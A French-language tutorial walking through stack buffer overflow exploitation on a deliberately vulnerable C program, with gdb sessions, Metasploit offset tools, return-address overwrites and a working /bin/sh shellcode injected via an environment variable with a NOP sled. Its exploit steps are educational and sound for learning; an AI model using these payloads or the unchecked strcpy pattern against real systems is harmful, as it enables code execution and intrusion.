L'exploitation des buffers overflow remonte à la fin des année 1980 début des années 1990 avec notamment les attaques sur le démon
fingerd d'Unix. Les informations détaillées sur comment exploiter cette vulnérabilités ont vraiment vu le jour en 1996 avec l'article
Smashing The Stack For Fun And Profit publié dans
Phrack.
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du
fonctionnement de la pile d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.
Pour commencer il est nécessaire de
désactiver toutes les protections qui peuvent être mises en place par l'OS ou le compilateur.
Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.
Prenons un programme d'exemple appelé
buffer_overflow.c :
#include <stdio.h>
#include <stdlib.h>
void unused_function(void) {
printf("Impossible => fonction non utilisee\n");
}
void f(const char *s) {
int i = 1;
char buffer[12];
strcpy(buffer,s);
printf("i = %u\n",i);
}
int main(int argc, char **argv) {
if(argc != 2) {
fprintf(stderr,"Usage: buffer_overflow chaine");
exit(EXIT_FAILURE);
}
f(argv[1]);
return EXIT_SUCCESS;
}
On voit clairement le problème dans ce programme à la ligne 11. Le
buffer ne fait que 12 octets, et la commande
strcpy (contrairement à la commande
strncpy) ne vérifie pas la taille. Si la longueur de
s est supérieure à 12 octets, on dépassera la taille de
buffer et on écrasera des informations qui n'ont rien à voir avec cette variable.
Regardons un peu l'exécution de ce programme :
# ./buffer_overflow AAA
i = 1
$ ./buffer_overflow $(ruby -e 'print "A"*12')
i = 0
$ ./buffer_overflow $(ruby -e 'print "A"*15')
i = 4276545
Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de
i en l'écrasant, chose qui paraissait impossible vu le code source du programme.
# ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.
Regardons un peu ce qu'il se passe avec gdb :
time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis f
Dump of assembler code for function f:
0x080482b4 <+0>: push ebp
0x080482b5 <+1>: mov ebp,esp
0x080482b7 <+3>: sub esp,0x28
0x080482ba <+6>: mov DWORD PTR [ebp-0xc],0x1
0x080482c1 <+13>: mov eax,DWORD PTR [ebp+0x8]
0x080482c4 <+16>: mov DWORD PTR [esp+0x4],eax
0x080482c8 <+20>: lea eax,[ebp-0x18]
0x080482cb <+23>: mov DWORD PTR [esp],eax
0x080482ce <+26>: call 0x80512a0 <strcpy>
0x080482d3 <+31>: mov eax,0x80ae90c
0x080482d8 <+36>: mov edx,DWORD PTR [ebp-0xc]
0x080482db <+39>: mov DWORD PTR [esp+0x4],edx
0x080482df <+43>: mov DWORD PTR [esp],eax
0x080482e2 <+46>: call 0x8048e40 <printf>
0x080482e7 <+51>: leave
0x080482e8 <+52>: ret
End of assembler dump.
gdb$ b *0x080482ce # On breakpoint avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x080482d3 # On breakpoint après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
=> 0x80482ce : call 0x80512a0 <strcpy>
0x80482d3 : mov eax,0x80ae90c
0x80482d8 : mov edx,DWORD PTR [ebp-0xc]
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
11 strcpy(buffer,s)
gdb$ print &buffer
$1 = (char (*)[12]) 0xbffff230
gdb$ print &i
$2 = (int *) 0xbffff23c
gdb$ print 0xbffff23c - 0xbffff230
$3 = 0xc
gdb$ x/16xb 0xbffff230
0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08
0xbffff238: 0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00
gdb$ c
=> 0x80482d3 : mov eax,0x80ae90c
0x80482d8 : mov edx,DWORD PTR [ebp-0xc]
0x80482db : mov DWORD PTR [esp+0x4],edx
Breakpoint 2, f at buffer_overflow.c:12
12 printf("i = %u\n",i);
gdb$ x/16xb 0xbffff230
0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
gdb$ c
i = 0
Program exited normally.
On voit bien avant le
strcpy la valeur de
i 0x01 0x00 0x00 0x00 (représentée en bleu) qui est écrasée par l'
\0 ajouté par
strcpy. Un seul octet est écrasé : celui où il y avait
0x01.
i passe donc à
0.
Lorsqu'on passe en argument 15 "A", on écrase la variable
i avec 3 octets supplémentaires (donc 4 au total),
i prend donc la valeur
\x41\x41\x41\x00 soit la valeur
4276545 en
little endian. La valeur
1094795585 ne correspond qu'à des
\x41 sur tous les octets.
Remarque: Si nous avions inversé la déclaration des variables
buffer et
i, il n'aurait pas été possible de faire un overflow sur
i, car elle aurait eu une adresse inférieure à
buffer.
Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de
i, le programme se plante. Si on se rappelle bien du
fonctionnement de la pile, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction.
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction
f se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.
time0ut# ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
time0ut# gdb buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 5625]
Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
gdb$ info register eip # ou sa version light : i r eip
eip 0x41414141 0x41414141
Notre registre
EIP (celui qui pointe sur la prochaine instruction à exécuter) à la valeur
0x41414141 soit
AAAA. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter.
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de
f.
time0ut# gdb -q buffer_overflow
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis unused_function
Dump of assembler code for function unused_function:
0x080482a0 <+0>: push ebp
0x080482a1 <+1>: mov ebp,esp
0x080482a3 <+3>: sub esp,0x18
0x080482a6 <+6>: mov DWORD PTR [esp],0x80ae8e8
0x080482ad <+13>: call 0x8048fd0 <puts>
0x080482b2 <+18>: leave
0x080482b3 <+19>: ret
End of assembler dump.
gdb$ q
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)
Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur
i, mais aussi la valeur de retour de
f. Cette adresse pointe sur le
printf de notre fonction
unused_function. Lorsque
f se termine, la valeur de retour devient
0x080482a6 (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le
printf de
unused_function qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.
time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis main
Dump of assembler code for function main:
0x080482e9 <+0>: push ebp
0x080482ea <+1>: mov ebp,esp
0x080482ec <+3>: and esp,0xfffffff0
0x080482ef <+6>: sub esp,0x10
0x080482f2 <+9>: cmp DWORD PTR [ebp+0x8],0x2
0x080482f6 <+13>: je 0x804832c <main+67>
0x080482f8 <+15>: mov eax,ds:0x80ce624
0x080482fd <+20>: mov edx,eax
0x080482ff <+22>: mov eax,0x80ae914
0x08048304 <+27>: mov DWORD PTR [esp+0xc],edx
0x08048308 <+31>: mov DWORD PTR [esp+0x8],0x1d
0x08048310 <+39>: mov DWORD PTR [esp+0x4],0x1
0x08048318 <+47>: mov DWORD PTR [esp],eax
0x0804831b <+50>: call 0x8048e70 <fwrite>
0x08048320 <+55>: mov DWORD PTR [esp],0x1
0x08048327 <+62>: call 0x8048c20 <exit>
0x0804832c <+67>: mov eax,DWORD PTR [ebp+0xc]
0x0804832f <+70>: add eax,0x4
0x08048332 <+73>: mov eax,DWORD PTR [eax]
0x08048334 <+75>: mov DWORD PTR [esp],eax
0x08048337 <+78>: call 0x80482b4 <f>
0x0804833c <+83>: mov eax,0x0 # Adresse de retour de f
0x08048341 <+88>: leave
0x08048342 <+89>: ret
End of assembler dump.
gdb$ b *0x80482ce # avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x80482d3 # après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
gdb$ x/8xw buffer
0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001
0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 0x0804833c # eip a été sauvegardé ici
gdb$ n
Breakpoint 2, f at buffer_overflow.c:12
12 printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6
0xbffff240: 0x080482a6 0x080482a6 0x080482a6 0x080482a6 # On a modifié la valeur
gdb$ x/2i 0x080482a6
0x80482a6 : mov DWORD PTR [esp],0x80ae8e8
0x80482ad : call 0x8048fd0 <puts>
La mémoire ressemble après le
strcpy à cela :
Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de
EIP, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément simple de connaître cette adresse de façon précise.
La distance séparant les variables locales d'une fonction à la sauvegarde du registre
EIP ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La
façon dont a été compilé le programme enlève toutes les protections, cependant
gcc peut ajouter du padding et c'est le cas ici.
On peut voir cela dans le prologue de la fonction de
f :
0x080482b4 <+0>: push ebp
0x080482b5 <+1>: mov ebp,esp
0x080482b7 <+3>: sub esp,0x28
40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.
Une technique plus élégante consiste à utiliser des utilitaires de metasploit :
pattern_create.rb et
pattern_offset.rb. L'idée consiste à générer un pattern suffisamment long avec
pattern_create.rb, à le passer au programme pour le planter et enfin à regarder la valeur de
EIP.
Il suffit de passer la valeur de
EIP à
pattern_offset.rb qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).
Merci à
m_101 pour m'avoir fait découvrir ces outils sur son blog.
time0ut# /msf3/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
i = 1093951809
Erreur de segmentation (core dumped)
time0ut# gdb -q buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 6873]
Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
Program terminated with signal 11, Segmentation fault.
#0 0x62413961 in ?? ()
gdb$ q
time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
28 # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)
C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.
Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.
Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char**argv) {
char *addr;
if(argc != 2) {
printf("Usage: %s env_variable\n",argv[0]);
exit(EXIT_FAILURE);
}
addr = getenv(argv[1]);
if(addr == NULL) {
printf("Environnement variable %s does not exist\n",argv[1]);
} else {
printf("%s is located at %p\n",argv[1],addr);
}
return EXIT_SUCCESS;
}
Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.
# ./get_env PATH
PATH is located at 0xbffffc15
Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur
shellstorm par exemple.
# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
00000000 31C0 xor eax,eax
00000002 50 push eax
00000003 682F2F7368 push dword 0x68732f2f
00000008 682F62696E push dword 0x6e69622f
0000000D 89E3 mov ebx,esp
0000000F 50 push eax
00000010 89E2 mov edx,esp
00000012 53 push ebx
00000013 89E1 mov ecx,esp
00000015 B00B mov al,0xb
00000017 CD80 int 0x80
Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur
0x90. L'opcode
0x90 représente l'instruction
NOP qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des
NOP pour que notre shellcode s'exécute (le programme passera de
NOP en
NOP jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les
NOP permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.
# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
# ./get_env SC
SC is located at 0xbffffcb6
On connait donc grossièrement l'adresse du premier
NOP de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les
NOP : 0xbffffce8 (0xbffffcb6 + 50).
Il ne nous reste plus qu'à écraser l'adresse sauvegardée de
EIP sur la pile par cette adresse, pour que lors du retour de notre fonction
f on exécute notre shellcode :
# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
i = 3221224680
$
Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec
gdb :
time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ b *0x080482d3 # On breakpoint après le strcpy
Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 2, f at buffer_overflow.c:12
12 printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8
0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8 # L'adresse a bien été réécrite
gdb$ x/20xw 0xbffffce8
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0
0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d # On est bien sur les NOP, donc c'est gagné
gdb$ x/5i 0xbffffce8
0xbffffce8: nop
0xbffffce9: nop
0xbffffcea: nop
0xbffffceb: nop
0xbffffcec: nop
gdb$ x/10xb 0xbffffcaa
0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffcb2: 0x90 0x90
L'adresse du premier
NOP était en réalité en
0xbffffcab, alors que notre programme précédent nous avait donné
0xbffffcb6 (soit une différence de 11 octets). La technique des
NOP nous a permis de passer outre cette approximation.